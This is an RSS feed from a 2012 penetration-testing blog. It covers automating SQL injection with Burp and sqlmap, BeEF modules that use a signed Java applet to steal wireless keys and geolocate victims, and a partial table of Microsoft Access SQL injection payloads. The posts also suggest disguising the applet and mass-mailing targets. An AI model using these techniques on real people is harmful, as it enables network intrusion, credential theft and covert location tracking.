<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Milo2012&#039;s Security Blog</title>
	<atom:link href="http://milo2012.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://milo2012.wordpress.com</link>
	<description>Security Blog</description>
	<lastBuildDate>Fri, 03 May 2013 02:35:04 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='milo2012.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Milo2012&#039;s Security Blog</title>
		<link>http://milo2012.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://milo2012.wordpress.com/osd.xml" title="Milo2012&#039;s Security Blog" />
	<atom:link rel='hub' href='http://milo2012.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Automating SQL Injection with Burp, Sqlmap and GDS Burp API</title>
		<link>http://milo2012.wordpress.com/2012/06/26/automating-sql-injection-with-burp-sqlmap-and-gds-burp-api/</link>
		<comments>http://milo2012.wordpress.com/2012/06/26/automating-sql-injection-with-burp-sqlmap-and-gds-burp-api/#comments</comments>
		<pubDate>Tue, 26 Jun 2012 18:14:11 +0000</pubDate>
		<dc:creator>milo2012</dc:creator>
				<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[act]]></category>
		<category><![CDATA[burp]]></category>
		<category><![CDATA[burpsuite]]></category>
		<category><![CDATA[gds burp]]></category>
		<category><![CDATA[owasp ajax crawling tool]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sqlmap]]></category>

		<guid isPermaLink="false">http://milo2012.wordpress.com/?p=586</guid>
		<description><![CDATA[I came across GDS Burp API which seems like a very useful tool for parsing Burp Proxy logs.  The GDS Burp API exposes a Python object interface to requests/responses recorded by Burp. The below link provides a very good introduction to the API. http://blog.gdssecurity.com/labs/2010/8/10/constricting-the-web-the-gds-burp-api.html I wrote a simple script to use the API to parse [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=586&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I came across GDS Burp API which seems like a very useful tool for parsing Burp Proxy logs.  The GDS Burp API exposes a Python object interface to requests/responses recorded by Burp. The below link provides a very good introduction to the API.</p>
<p><a href="http://blog.gdssecurity.com/labs/2010/8/10/constricting-the-web-the-gds-burp-api.html" rel="nofollow">http://blog.gdssecurity.com/labs/2010/8/10/constricting-the-web-the-gds-burp-api.html</a></p>
<p>I wrote a simple script to use the API to parse the Burp proxy logs and send it to SQLMap to automate testing SQL injection for all GET and POST parameters and skip all urls without any parameters.</p>
<p>1. Clone the GDSSecurity burpee repository<strong> git clone <a href="https://github.com/GDSSecurity/burpee.git" rel="nofollow">https://github.com/GDSSecurity/burpee.git</a></strong></p>
<p>2. Download burpSQL.py from <strong><a href="https://github.com/milo2012/burpSQL" rel="nofollow">https://github.com/milo2012/burpSQL</a></strong> into the burpee folder</p>
<p><a href="http://milo2012.files.wordpress.com/2012/06/vmware-fusion-2.png"><img class="alignnone size-full wp-image-591" title="Download burpSQL from https://github.com/milo2012/burpSQL" src="http://milo2012.files.wordpress.com/2012/06/vmware-fusion-2.png?w=595" alt=""   /></a></p>
<p>3. Next, we will have to configure logging in Burpsuite</p>
<p><a href="http://milo2012.files.wordpress.com/2012/06/burp-suite-professional.png"><img class="alignnone size-full wp-image-588" title="Configuring logging in Burpsuite" src="http://milo2012.files.wordpress.com/2012/06/burp-suite-professional.png?w=595" alt=""   /></a></p>
<p>4. Change the proxy settings of your browser to 127.0.0.1:8080</p>
<p>5. Crawl the website with Owasp Ajax Crawling tool or spider with Burpsuite or the manual way.</p>
<p>Below are the command line options for burpSQL</p>
<p><a href="http://milo2012.files.wordpress.com/2012/06/vmware-fusion-4.png"><img class="alignnone size-full wp-image-593" title="Command line arguments for burpSQL" src="http://milo2012.files.wordpress.com/2012/06/vmware-fusion-4.png?w=595" alt=""   /></a></p>
<p>6. The above is pretty self explanatory.  If your Burp proxy log is cluttered with urls from multiple domains, you can filtered the SQL injection testing to specific domains using the &#8211;domain switch.</p>
<p>Drop me a message if you have any suggestions or comments.  Thank you !</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/milo2012.wordpress.com/586/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/milo2012.wordpress.com/586/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=586&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://milo2012.wordpress.com/2012/06/26/automating-sql-injection-with-burp-sqlmap-and-gds-burp-api/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/a0e89b674c818ee16b2366d9323c691c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">milo2012</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/06/vmware-fusion-2.png" medium="image">
			<media:title type="html">Download burpSQL from https://github.com/milo2012/burpSQL</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/06/burp-suite-professional.png" medium="image">
			<media:title type="html">Configuring logging in Burpsuite</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/06/vmware-fusion-4.png" medium="image">
			<media:title type="html">Command line arguments for burpSQL</media:title>
		</media:content>
	</item>
		<item>
		<title>Hacking Beyond The Browser with BeEF (Robbing Your Wireless Keys)</title>
		<link>http://milo2012.wordpress.com/2012/03/11/hacking-beyond-the-browser-with-beef-robbing-your-wireless-keys/</link>
		<comments>http://milo2012.wordpress.com/2012/03/11/hacking-beyond-the-browser-with-beef-robbing-your-wireless-keys/#comments</comments>
		<pubDate>Sun, 11 Mar 2012 17:25:34 +0000</pubDate>
		<dc:creator>milo2012</dc:creator>
				<category><![CDATA[BeEF Project]]></category>
		<category><![CDATA[Client Side Attacks]]></category>
		<category><![CDATA[beEF]]></category>
		<category><![CDATA[Pauldotcom]]></category>
		<category><![CDATA[wifi hacking]]></category>
		<category><![CDATA[wireless access point]]></category>
		<category><![CDATA[wireless hacking]]></category>
		<category><![CDATA[wireless keys]]></category>

		<guid isPermaLink="false">http://milo2012.wordpress.com/?p=510</guid>
		<description><![CDATA[Pauldotcom has a very interesting post on &#8220;Retrieving Clear Text Wireless Keys&#8221; from Compromised Systems&#8221; at http://pauldotcom.com/2012/03/retrieving-wireless-keys-from.html As mentioned in the post, this works on Windows Vista and 7. I have written a BeEF module called &#8220;Get Wireless Keys&#8221; which automates the process of robbing the victim of the wireless keys using a signed Java [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=510&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Pauldotcom has a very interesting post on &#8220;Retrieving Clear Text Wireless Keys&#8221; from Compromised Systems&#8221; at <a title="http://pauldotcom.com/2012/03/retrieving-wireless-keys-from.html" href="http://pauldotcom.com/2012/03/retrieving-wireless-keys-from.html">http://pauldotcom.com/2012/03/retrieving-wireless-keys-from.html</a></p>
<p>As mentioned in the post, this works on Windows Vista and 7.</p>
<p>I have written a BeEF module called &#8220;Get Wireless Keys&#8221; which automates the process of robbing the victim of the wireless keys using a signed Java applet.</p>
<p>Follow the steps listed on <a title="https://github.com/beefproject/beef/wiki/BeEF-and-Backtrack-5" href="https://github.com/beefproject/beef/wiki/BeEF-and-Backtrack-5">https://github.com/beefproject/beef/wiki/BeEF-and-Backtrack-5  </a>in order to download BeEF.  My module is now available in the repo.</p>
<p>If you are new to BeEF, you can find some video tutorials here. <a title="https://github.com/beefproject/beef/wiki" href="https://github.com/beefproject/beef/wiki">https://github.com/beefproject/beef/wiki</a></p>
<p>This will act as a bridge to allow hacking beyond the browser as you will easily be able to compromise other systems in the network once you  connect to the victim&#8217;s wireless networks using the stolen wireless keys on your computer.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/03/3-11-2012-3-22-27-pm.png"><img class="alignnone  wp-image-511" style="border:1px solid black;" title="Screenshot of &quot;Get Wireless Keys&quot; module in Beef" src="http://milo2012.files.wordpress.com/2012/03/3-11-2012-3-22-27-pm.png?w=432&#038;h=639" alt="" width="432" height="639" /></a></p>
<p>Upon launching the module against the victim, the victim will get a popup on his browser.  The victim would need to click &#8220;Run&#8221; in order for this to work.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/03/3-11-2012-3-23-07-pm.png"><img class="alignnone size-full wp-image-512" style="border:1px solid black;" title="Popup of Signed Java Applet for &quot;Get Wireless Keys&quot;" src="http://milo2012.files.wordpress.com/2012/03/3-11-2012-3-23-07-pm.png?w=595" alt=""   /></a></p>
<p>You will see the below output in the console of BeEF. This means that the victim&#8217;s has executed the java applet and the applet has returned some results.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/03/3-11-2012-3-23-24-pm.png"><img class="alignnone  wp-image-513" style="border:1px solid black;" title="&quot;Get Wireless Keys&quot; module in Beef has returned some results" src="http://milo2012.files.wordpress.com/2012/03/3-11-2012-3-23-24-pm.png?w=600&#038;h=420" alt="" width="600" height="420" /></a></p>
<p>In the below screen shot, it shows that the wireless profiles on the victim&#8217;s computer has been saved to /pentest/web/beef/exported_wlan_profiles.xml</p>
<p><a href="http://milo2012.files.wordpress.com/2012/03/3-11-2012-3-23-44-pm2.png"><img class="alignnone  wp-image-544" style="border:1px solid black;" title="Screenshot from BeEF web console" src="http://milo2012.files.wordpress.com/2012/03/3-11-2012-3-23-44-pm2.png?w=600&#038;h=239" alt="" width="600" height="239" /></a></p>
<p>The next thing that we need to do is to import the wireless into your Windows Vista/7 computer.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/03/3-11-2012-3-26-02-pm.png"><img title="Manually importing the Wireless Profiles into Windows" src="http://milo2012.files.wordpress.com/2012/03/3-11-2012-3-26-02-pm.png?w=600&#038;h=116" alt="" width="600" height="116" /></a></p>
<p>You should be able to connect to the wireless networks that have been saved on the victim&#8217;s computer without any password prompts.</p>
<p>You might want to use this module together with &#8220;get physical location&#8221; module that I have written to identify the actual location of the wireless access point that the victim use in his home or office.</p>
<p>Thats if you are within close proximity to the victim. If not, this module is useless to you.</p>
<p>Alternatively, you could mass mail to all emails address that you can find that belong to a domain with the link to beef.</p>
<p>If you are using Preshared Keys instead WPA/WPA2 enterprise in your organisation, then all you need is one person in the organization to click Run to the Java Applet alert popup to get pwned.</p>
<p>Please feel free to leave me your comments or follow me on twitter at @keith55.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/milo2012.wordpress.com/510/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/milo2012.wordpress.com/510/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=510&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://milo2012.wordpress.com/2012/03/11/hacking-beyond-the-browser-with-beef-robbing-your-wireless-keys/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/a0e89b674c818ee16b2366d9323c691c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">milo2012</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/03/3-11-2012-3-22-27-pm.png" medium="image">
			<media:title type="html">Screenshot of &#34;Get Wireless Keys&#34; module in Beef</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/03/3-11-2012-3-23-07-pm.png" medium="image">
			<media:title type="html">Popup of Signed Java Applet for &#34;Get Wireless Keys&#34;</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/03/3-11-2012-3-23-24-pm.png" medium="image">
			<media:title type="html">&#34;Get Wireless Keys&#34; module in Beef has returned some results</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/03/3-11-2012-3-23-44-pm2.png" medium="image">
			<media:title type="html">Screenshot from BeEF web console</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/03/3-11-2012-3-26-02-pm.png" medium="image">
			<media:title type="html">Manually importing the Wireless Profiles into Windows</media:title>
		</media:content>
	</item>
		<item>
		<title>BeEF module for Geolocation Tracking (via Wireless Access Points)</title>
		<link>http://milo2012.wordpress.com/2012/02/25/beef-module-for-geolocation-tracking-via-wireless-access-points/</link>
		<comments>http://milo2012.wordpress.com/2012/02/25/beef-module-for-geolocation-tracking-via-wireless-access-points/#comments</comments>
		<pubDate>Sun, 26 Feb 2012 05:00:48 +0000</pubDate>
		<dc:creator>milo2012</dc:creator>
				<category><![CDATA[BeEF Project]]></category>
		<category><![CDATA[Client Side Attacks]]></category>
		<category><![CDATA[Location Tracking]]></category>
		<category><![CDATA[beEF]]></category>
		<category><![CDATA[client attacks]]></category>
		<category><![CDATA[geolocation]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[location tracking]]></category>
		<category><![CDATA[Skyhook]]></category>
		<category><![CDATA[wireless]]></category>

		<guid isPermaLink="false">http://milo2012.wordpress.com/?p=474</guid>
		<description><![CDATA[I have ported my code over to BeEF #beefproject http://beefproject.com/  My module is not in the repository yet. 1.  Meanwhile, you can download the file attached  and copy and extract the files to /pentest/web/beef/modules/host/ .   After that, you should be able to access the module in BeEF as shown in the below screenshot. 2.  The [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=474&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I have ported my code over to BeEF #beefproject <a href="http://beefproject.com/">http://beefproject.com/</a>  My module is not in the repository yet.</p>
<p>1.  Meanwhile, you can download the file attached  and copy and extract the files to /pentest/web/beef/modules/host/ .   After that, you should be able to access the module in BeEF as shown in the below screenshot.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/2-26-2012-5-00-57-am.png"><img class="alignnone size-full wp-image-475" style="border:1px solid black;" title="BeEF #beefproject module (Physical Location Tracking)" src="http://milo2012.files.wordpress.com/2012/02/2-26-2012-5-00-57-am.png?w=595" alt=""   /></a></p>
<p>2.  The user will receive the below popup in their web browser.   You can change the name of the Java applet to something more discrete as compared to what I have named.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/2-26-2012-5-01-42-am.png"><img class="alignnone size-full wp-image-476" style="border:1px solid black;" title="BeEF #beefproject Module (Location Tracking)" src="http://milo2012.files.wordpress.com/2012/02/2-26-2012-5-01-42-am.png?w=595" alt=""   /></a></p>
<p>Within seconds, you should be able to get the geolocation of the remote user.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/2-26-2012-5-02-00-am.png"><img class="alignnone size-full wp-image-477" style="border:1px solid black;" title="BeEF #beefproject Location Tracking" src="http://milo2012.files.wordpress.com/2012/02/2-26-2012-5-02-00-am.png?w=595" alt=""   /></a></p>
<p>You can download the BeEF module via one of the below links if you do not want to wait for it to be committed to the repository.</p>
<p><a title="BeEF module (location tracking via wireless access points)" href="https://www2.dropbox.com/sh/cxpafqhpscszfoe/8bGfta5G5W/get_physical_location.zip" target="_blank">https://www2.dropbox.com/sh/cxpafqhpscszfoe/8bGfta5G5W/get_physical_location.zip</a></p>
<p>I will be doing a write up about the things I learn about writing BeEF module with Java applet integration in the next couple of days.</p>
<p>I hope it can help other people who are just getting started with BeEF development.</p>
<p>Let me know if you would have any suggestions.   Thanks !</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/milo2012.wordpress.com/474/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/milo2012.wordpress.com/474/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=474&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://milo2012.wordpress.com/2012/02/25/beef-module-for-geolocation-tracking-via-wireless-access-points/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/a0e89b674c818ee16b2366d9323c691c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">milo2012</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/2-26-2012-5-00-57-am.png" medium="image">
			<media:title type="html">BeEF #beefproject module (Physical Location Tracking)</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/2-26-2012-5-01-42-am.png" medium="image">
			<media:title type="html">BeEF #beefproject Module (Location Tracking)</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/2-26-2012-5-02-00-am.png" medium="image">
			<media:title type="html">BeEF #beefproject Location Tracking</media:title>
		</media:content>
	</item>
		<item>
		<title>Geolocation via Wireless Access Points</title>
		<link>http://milo2012.wordpress.com/2012/02/23/geolocation-via-wireless-access-points/</link>
		<comments>http://milo2012.wordpress.com/2012/02/23/geolocation-via-wireless-access-points/#comments</comments>
		<pubDate>Thu, 23 Feb 2012 13:17:50 +0000</pubDate>
		<dc:creator>milo2012</dc:creator>
				<category><![CDATA[Client Side Attacks]]></category>
		<category><![CDATA[Location Tracking]]></category>
		<category><![CDATA[geolocation]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[location tracking]]></category>
		<category><![CDATA[Skyhook]]></category>
		<category><![CDATA[tracking]]></category>
		<category><![CDATA[wifi location]]></category>

		<guid isPermaLink="false">http://milo2012.wordpress.com/?p=435</guid>
		<description><![CDATA[I was looking online for scripts on scripts on determining geolocation via BSSID. Many of the scripts were based on skyhook api which were broken due to changes in the api. The &#8220;Share Location&#8221; function by Google seems like an excellent alternative and it is very accurate unless you live in the middle of the [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=435&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I was looking online for scripts on scripts on determining geolocation via BSSID. Many of the scripts were based on skyhook api which were broken due to changes in the api. The &#8220;Share Location&#8221; function by Google seems like an excellent alternative and it is very accurate unless you live in the middle of the desert.</p>
<p>Using Tamper This (Firefox Addon), I am able to find out the information that is passed to Google. Yes, I was too lazy to look up Google&#8217;s geolocation APIs</p>
<p>.<a href="http://milo2012.files.wordpress.com/2012/02/2-23-2012-12-54-33-pm.png"><img class="alignnone size-full wp-image-436" style="border:1px solid black;" title="Google Maps - Share Location" src="http://milo2012.files.wordpress.com/2012/02/2-23-2012-12-54-33-pm.png?w=595" alt=""   /></a></p>
<p>It seems that the browser is passing information about neighboring wireless access points to Google.</p>
<p>The information that are passed to Google include BSSID, SSID and RSSI (Received Signal Strength Index) of the access points.</p>
<p>Using these information, Google is able to pinpoint your location accurately.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/2-23-2012-1-05-56-pm.png"><img class="alignnone  wp-image-437" style="border:1px solid black;" title="Using Tamper This for Google Maps" src="http://milo2012.files.wordpress.com/2012/02/2-23-2012-1-05-56-pm.png?w=600&#038;h=244" alt="" width="600" height="244" /></a></p>
<p>Sometimes it is useful to find out the an accurate location of a remote target especially when geolocation identification using IP address is vague.</p>
<p>We can hide and run this inside in a Java applet.. No one clicks RUN on a Java applet right?</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/2-23-2012-1-20-15-pm.png"><img class="alignnone  wp-image-439" style="border:1px solid black;" title="Get Wifi GPS Location via Google Api using Java Applet" src="http://milo2012.files.wordpress.com/2012/02/2-23-2012-1-20-15-pm.png?w=600&#038;h=389" alt="" width="600" height="389" /></a></p>
<p>Currently, the applet outputs the below information to the Java console. It can be modified to send the information to a remote location instead.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/2-23-2012-1-21-34-pm.png"><img class="alignnone size-full wp-image-440" title="Output to console from Java Applet (Wifi GPS Location)" src="http://milo2012.files.wordpress.com/2012/02/2-23-2012-1-21-34-pm.png?w=595" alt=""   /></a></p>
<p>What the applet does is that it runs the below system commands to gather information about the access points and pass it to Google so that we can determine your Geolocation accurately.</p>
<p>Below are the system commands that are called by the Java applet to gather the information required.</p>
<p>1. Windows</p>
<p>netsh wlan show networks mode=bssid</p>
<p>2. Mac</p>
<p>/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s</p>
<p>The applet works on a Mac / Windows OS for now.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/2-23-2012-1-26-16-pm.png"><img title="Netsh wlan show networks mode=bssid" src="http://milo2012.files.wordpress.com/2012/02/2-23-2012-1-26-16-pm.png?w=552&#038;h=206" alt="" width="552" height="206" /></a></p>
<p>The below is the actual URL which retrieves the longitude and latitude based on the access point information</p>
<p><a href="https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&#038;sensor=true&#038;wifi=mac" rel="nofollow">https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&#038;sensor=true&#038;wifi=mac</a>:<strong>[mac_address]</strong>|ssid:<strong>[ssid_name]</strong>|ss:<strong>[rssi]</strong>&#038;wifi=mac:<strong>[mac_address]</strong>|ssid:<strong>[ssid_name]</strong>|ss:<strong>[rssi]</strong></p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/2-23-2012-1-28-35-pm.png"><img class="alignnone size-full wp-image-444" style="border:1px solid black;" title="Response from Google Maps Api" src="http://milo2012.files.wordpress.com/2012/02/2-23-2012-1-28-35-pm.png?w=595" alt=""   /></a></p>
<p>The below query string is passed to Google to retrieve the Street Address using the GPS longitude and latitude.</p>
<p><a href="https://maps.google.com/maps?q=" rel="nofollow">https://maps.google.com/maps?q=</a><strong>[longitude]</strong>,<strong>[latitude]</strong>&#038;iwloc=A&#038;hl=en</p>
<p>This attack can be made more persistent in future by modifying the Applet to install an agent remotely on the target and then reporting back to the control centre with the updated gps location even after the user had closed the browser.</p>
<p>If you are starting to get paranoid over Wifi, please use the good old LAN cable and disable your wireless card.<br />
You can install QuickJava and NoScript add-ons in Firefox to disable Java, Javascript, Flash, Silverlight and all other goodness from your browser.</p>
<p>But by doing so, you probably will realize that you aren&#8217;t able to access 2/3 of the internet after doing so.</p>
<p>I am looking into submitting this to #beefproject in the near future once I fixed some bugs in my #beef module. I suck at #beef.</p>
<p>You can download the files via this link <a title="http://flashmirrors.com/files/19vzwqlffpij9rf/getGPSLocation.zip" href="http://flashmirrors.com/files/19vzwqlffpij9rf/getGPSLocation.zip">http://flashmirrors.com/files/19vzwqlffpij9rf/getGPSLocation.zip<br />
</a></p>
<p>If you are just interested in the source file, you can get it from here <a title="http://pastebin.com/zKENyhXv" href="http://pastebin.com/zKENyhXv">http://pastebin.com/zKENyhXv</a></p>
<p><strong>[Updated:  A windows executable version of the program has been uploaded to <a title="http://flashmirrors.com/files/0t0rjparbzcaxfc/getGPSLocationWin.zip" href="http://flashmirrors.com/files/0t0rjparbzcaxfc/getGPSLocationWin.zip">http://flashmirrors.com/files/0t0rjparbzcaxfc/getGPSLocationWin.zip</a>]</strong></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/milo2012.wordpress.com/435/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/milo2012.wordpress.com/435/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=435&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://milo2012.wordpress.com/2012/02/23/geolocation-via-wireless-access-points/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/a0e89b674c818ee16b2366d9323c691c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">milo2012</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/2-23-2012-12-54-33-pm.png" medium="image">
			<media:title type="html">Google Maps - Share Location</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/2-23-2012-1-05-56-pm.png" medium="image">
			<media:title type="html">Using Tamper This for Google Maps</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/2-23-2012-1-20-15-pm.png" medium="image">
			<media:title type="html">Get Wifi GPS Location via Google Api using Java Applet</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/2-23-2012-1-21-34-pm.png" medium="image">
			<media:title type="html">Output to console from Java Applet (Wifi GPS Location)</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/2-23-2012-1-26-16-pm.png" medium="image">
			<media:title type="html">Netsh wlan show networks mode=bssid</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/2-23-2012-1-28-35-pm.png" medium="image">
			<media:title type="html">Response from Google Maps Api</media:title>
		</media:content>
	</item>
		<item>
		<title>SQL Injection for Microsoft Access</title>
		<link>http://milo2012.wordpress.com/2012/02/18/sql-injection-for-microsoft-access/</link>
		<comments>http://milo2012.wordpress.com/2012/02/18/sql-injection-for-microsoft-access/#comments</comments>
		<pubDate>Sun, 19 Feb 2012 05:05:34 +0000</pubDate>
		<dc:creator>milo2012</dc:creator>
				<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://milo2012.wordpress.com/?p=328</guid>
		<description><![CDATA[This blog post contains notes that I made when I was reading up on SQL Injection for Microsoft Access.   It is important to note that tools like SQLMap might not work for all instances for SQL injections.   Therefore, it is important to get the fundamentals right from the start instead of relying on tools. It [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=328&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>This blog post contains notes that I made when I was reading up on SQL Injection for Microsoft Access.   It is important to note that tools like SQLMap might not work for all instances for SQL injections.   Therefore, it is important to get the fundamentals right from the start instead of relying on tools.</p>
<p>It is easier to learn about SQL injection for Microsoft Access using Microsoft Access because it is easier to visualize for beginners.  I have included screenshots to help beginners like myself to learn about SQL Injections.</p>
<p>There are a few useful links about SQL Injection for Microsoft Access<br />
1.  <a title="http:/www.insomniasec.com/publications/Access-Through-Access.pdf " href="http:/www.insomniasec.com/publications/Access-Through-Access.pdf" target="_blank">http:/www.insomniasec.com/publications/Access-Through-Access.pdf </a> &lt;- You should never hack Microsoft Access without this document.<br />
2. <a title="http://www.krazl.com/blog/index.php/ms-access-sql-injection-cheat-sheet/" href="http://www.krazl.com/blog/index.php/ms-access-sql-injection-cheat-sheet/" target="_blank">http://www.krazl.com/blog/index.php/ms-access-sql-injection-cheat-sheet/<br />
</a> 3. <a title="http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html " href="http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html" target="_blank">http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html </a> &lt;- Very useful list of column and tables names that you can use for brute-forcing<br />
4. <a title="http://seclists.org/pen-test/2003/May/74" href="http://seclists.org/pen-test/2003/May/74" target="_blank">http://seclists.org/pen-test/2003/May/74</a>  &lt;- Some nifty tricks here.</p>
<hr />
<p><strong>Reference Table for Microsoft Access SQL Injection</strong></p>
<table width="496" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="31"><strong>No</strong></td>
<td valign="top" width="102">
<p align="center"><strong>Description</strong></p>
</td>
<td valign="top" width="100"><strong>Prerequisites</strong></td>
<td valign="top" width="263"><strong>Commands</strong></td>
</tr>
<tr>
<td valign="top" width="31">1</td>
<td valign="top" width="102">Retrieve the List of Tables in the Access Database</td>
<td valign="top" width="100">Might not work through an ODBC connection.  Might only work via MS Access directly.</td>
<td valign="top" width="263">SELECT * FROM users UNION SELECT Name, NULL, NULL, NULL, NULL from MSysObjects WHERE Type=1</td>
</tr>
<tr>
<td valign="top" width="31">2</td>
<td valign="top" width="102">Get the Number of Columns in an Access Table</td>
<td valign="top" width="100">None</td>
<td valign="top" width="263">SELECT * FROM users WHERE id=1 ORDER BY #,1Replace # by a number and increment it until it returns an error.The last number before the error will be the total number of columns in the table.</td>
</tr>
<tr>
<td valign="top" width="31">3</td>
<td valign="top" width="102">Retrieving the Columns in a Table</td>
<td valign="top" width="100">Only if the column selection in a SELECT statement is not using *</td>
<td valign="top" width="263">SELECT username, password from users WHERE id=1 GROUP BY 1 having 1=1SELECT username, password from users WHERE id=1 GROUP BY 1, username having 1=1</td>
</tr>
<tr>
<td valign="top" width="31">4</td>
<td valign="top" width="102">Get The First Column Name from the Current Table</td>
